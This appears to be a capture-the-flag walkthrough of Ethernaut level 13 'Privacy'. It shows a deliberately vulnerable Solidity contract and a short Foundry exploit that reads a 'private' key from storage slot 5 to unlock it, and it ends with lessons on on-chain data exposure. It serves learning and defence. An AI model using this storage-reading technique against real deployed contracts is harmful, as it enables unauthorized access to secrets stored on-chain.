CTF walkthrough, Ethernaut, #13 Privacy

The creator of this contract was careful enough to protect the sensitive areas of its storage. Unlock this contract to beat the level.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

contract Privacy {
    bool public locked = true;
    uint256 public ID = block.timestamp;
    uint8 private flattening = 10;
    uint8 private denomination = 255;
    uint16 private awkwardness = uint16(block.timestamp);
    bytes32[3] private data;

    constructor(bytes32[3] memory _data) {
        data = _data;
    }

    function unlock(bytes16 _key) public {
        require(_key == bytes16(data[2]));
        locked = false;
    }

    /*
    A bunch of super advanced solidity algorithms...

      *'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

Analysis

Let’s review the unlock function:

function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
}

So the goal is to find out what’s in the data[2]. This level is similar to the #9 Vault: we must unlock the contract by reading a private state variable that contains the key. From the Solidity docs we know that contract state variables are stored contiguosly (except for dynamically-sized arrays and mappings) and items that need less than 32 bytes (256 bits) are packed into a single storage slot.

Solution

The first 5 state variables take exactly 3 storage slots. We want to read the bytes16(data[2)) which has slot index 5:

function exploit() internal override {
    vm.startPrank(player);

    bytes32 key = vm.load(address(level), bytes32(uint256(5)));
    level.unlock(bytes16(key));

    vm.stopPrank();
}

In Foundry we use vm.load to load the value from storage slot with a specific index.

Lessons learned

  • All “private” data is public on the blockchain.
  • Encrypt/hash any sensitive data that you want to store in a smart contract.

References


The full code is here. Thank you for reading and let’s move on to the next challenge: CTF walkthrough, Ethernaut, #14 Gatekeeper One!